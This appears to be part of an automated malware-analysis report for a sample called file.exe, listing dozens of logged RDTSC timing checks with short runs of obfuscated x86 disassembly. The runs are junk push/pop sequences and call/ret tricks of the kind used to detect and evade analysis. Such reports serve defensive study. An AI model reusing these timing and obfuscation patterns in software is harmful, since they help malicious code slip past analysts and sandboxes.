Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1CB0 second address: 11F1CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F07913FD828h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F37A1 second address: 11F37B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jne 00007F0790E17D70h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F37B3 second address: 11F37F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F07913FD839h 0x0000000c mov edx, dword ptr [ebp+122D2FC7h] 0x00000012 push 00000000h 0x00000014 and edi, dword ptr [ebp+122D2B3Bh] 0x0000001a push 4603DE40h 0x0000001f push eax 0x00000020 push edx 0x00000021 jno 00007F07913FD828h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F37F0 second address: 11F387B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F0790DC9726h 0x00000009 jp 00007F0790DC9726h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 4603DEC0h 0x00000019 jnp 00007F0790DC972Ch 0x0000001f jmp 00007F0790DC9735h 0x00000024 push 00000003h 0x00000026 cmc 0x00000027 mov edx, dword ptr [ebp+122D338Ch] 0x0000002d push 00000000h 0x0000002f mov cx, di 0x00000032 push 00000003h 0x00000034 add dword ptr [ebp+122D1E51h], edx 0x0000003a pushad 0x0000003b jmp 00007F0790DC9734h 0x00000040 mov dword ptr [ebp+122D1F8Ch], ecx 0x00000046 popad 0x00000047 call 00007F0790DC9729h 0x0000004c jmp 00007F0790DC9730h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F387B second address: 11F3880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3880 second address: 11F3886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3886 second address: 11F389C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0790D59B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F389C second address: 11F38B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop edi 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F0790DC9728h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F38B2 second address: 11F38D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D59B5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F0790D59B58h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F38D3 second address: 11F38D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F38D8 second address: 11F3945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0790D59B56h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F0790D59B58h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push ecx 0x00000029 pop edx 0x0000002a lea ebx, dword ptr [ebp+12455593h] 0x00000030 mov esi, dword ptr [ebp+122D2A9Bh] 0x00000036 mov esi, dword ptr [ebp+122D2BB3h] 0x0000003c xchg eax, ebx 0x0000003d jg 00007F0790D59B6Ch 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F0790D59B5Dh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3945 second address: 11F3956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790DC972Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3956 second address: 11F395B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3A2A second address: 11F3AF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnl 00007F0790DC973Ah 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jnc 00007F0790DC9739h 0x0000001a pop eax 0x0000001b mov dword ptr [ebp+122D3312h], ecx 0x00000021 push 00000003h 0x00000023 push esi 0x00000024 movsx ecx, di 0x00000027 pop ecx 0x00000028 push 00000000h 0x0000002a mov edx, dword ptr [ebp+122D2A7Bh] 0x00000030 movsx esi, di 0x00000033 push 00000003h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F0790DC9728h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov edi, dword ptr [ebp+122D2C03h] 0x00000055 stc 0x00000056 call 00007F0790DC9729h 0x0000005b pushad 0x0000005c push esi 0x0000005d jnl 00007F0790DC9726h 0x00000063 pop esi 0x00000064 jmp 00007F0790DC9738h 0x00000069 popad 0x0000006a push eax 0x0000006b jg 00007F0790DC9736h 0x00000071 mov eax, dword ptr [esp+04h] 0x00000075 push edi 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3AF7 second address: 11F3B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F0790D59B5Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3B0B second address: 11F3B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3B0F second address: 11F3B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007F0790D59B62h 0x00000013 pop eax 0x00000014 or dword ptr [ebp+122D1F8Ch], ebx 0x0000001a lea ebx, dword ptr [ebp+1245559Eh] 0x00000020 mov esi, 45357885h 0x00000025 push eax 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3B47 second address: 11F3B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3B4B second address: 11F3B55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205982 second address: 1205987 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214B37 second address: 1214B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F0790D59B63h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D654E second address: 11D6554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212BBA second address: 1212BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212BC0 second address: 1212BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F0790DC9738h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 jc 00007F0790DC9726h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212EA3 second address: 1212EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212EA7 second address: 1212EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0790DC9726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212EB3 second address: 1212EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121318F second address: 12131A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F0790DC972Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121360D second address: 121362E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0790D59B68h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121362E second address: 1213632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213632 second address: 1213648 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D59B62h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213648 second address: 121364E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209C89 second address: 1209C8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209C8F second address: 1209C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209C95 second address: 1209CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007F0790D59B5Eh 0x00000011 jo 00007F0790D59B5Eh 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7FA8 second address: 11D7FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7FAE second address: 11D7FB9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121423B second address: 1214247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214247 second address: 121424B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121424B second address: 121424F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209CAA second address: 1209CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0790D59B5Eh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218514 second address: 121851A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218793 second address: 1218798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9D1 second address: 121A9D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9D9 second address: 121A9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12209BC second address: 12209C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0790DC9726h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12209C7 second address: 12209D6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0790D59B58h 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FFB2 second address: 121FFB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122055D second address: 122057C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jp 00007F0790D59B56h 0x0000000e jmp 00007F0790D59B5Ah 0x00000013 pop ebx 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122057C second address: 1220580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220711 second address: 1220717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220717 second address: 122071B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122309D second address: 12230A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0790D59B56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12232B4 second address: 12232CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F0790DC9726h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12233D4 second address: 12233D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12233D9 second address: 12233F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0790DC9731h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223A7A second address: 1223A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223E19 second address: 1223E23 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0790DC972Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F47 second address: 1223F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224030 second address: 122404A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0790DC9735h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122404A second address: 12240B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F0790D59B58h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 pushad 0x00000026 sub dword ptr [ebp+122D34A4h], edx 0x0000002c jmp 00007F0790D59B64h 0x00000031 popad 0x00000032 movsx esi, ax 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jnp 00007F0790D59B69h 0x0000003e jmp 00007F0790D59B63h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12274FC second address: 1227506 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0790DC9726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227506 second address: 122755B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0790D59B5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D28BDh] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F0790D59B58h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d sub si, C9F5h 0x00000032 push 00000000h 0x00000034 jmp 00007F0790D59B5Ah 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jne 00007F0790D59B58h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228A1E second address: 1228A28 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0790DC972Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228A28 second address: 1228A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jc 00007F0790D59B56h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228A3A second address: 1228A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122ACCC second address: 122AD4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D59B69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007F0790D59B5Ah 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F0790D59B58h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D375Dh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F0790D59B58h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d push 00000000h 0x0000004f xor edi, dword ptr [ebp+122D1AA9h] 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 push esi 0x0000005a pop esi 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229B8A second address: 1229B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229B96 second address: 1229B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AEA5 second address: 122AEBD instructions: 0x00000000 rdtsc 0x00000002 je 00007F0790DC9726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0790DC972Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BD58 second address: 122BD5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BD5C second address: 122BD62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BD62 second address: 122BDF0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0790D59B6Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F0790D59B56h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F0790D59B58h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 jmp 00007F0790D59B68h 0x00000035 push edx 0x00000036 jc 00007F0790D59B56h 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f mov bh, ch 0x00000041 push 00000000h 0x00000043 mov di, 9971h 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b jmp 00007F0790D59B5Ah 0x00000050 jnp 00007F0790D59B56h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AF8B second address: 122AF95 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0790DC9726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CE34 second address: 122CEAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F0790D59B58h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 je 00007F0790D59B57h 0x00000028 cmc 0x00000029 push 00000000h 0x0000002b xor bx, BB04h 0x00000030 push 00000000h 0x00000032 add edi, dword ptr [ebp+122D1844h] 0x00000038 xchg eax, esi 0x00000039 je 00007F0790D59B6Fh 0x0000003f jno 00007F0790D59B69h 0x00000045 push eax 0x00000046 pushad 0x00000047 push ebx 0x00000048 push eax 0x00000049 pop eax 0x0000004a pop ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F0790D59B61h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BF81 second address: 122BF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
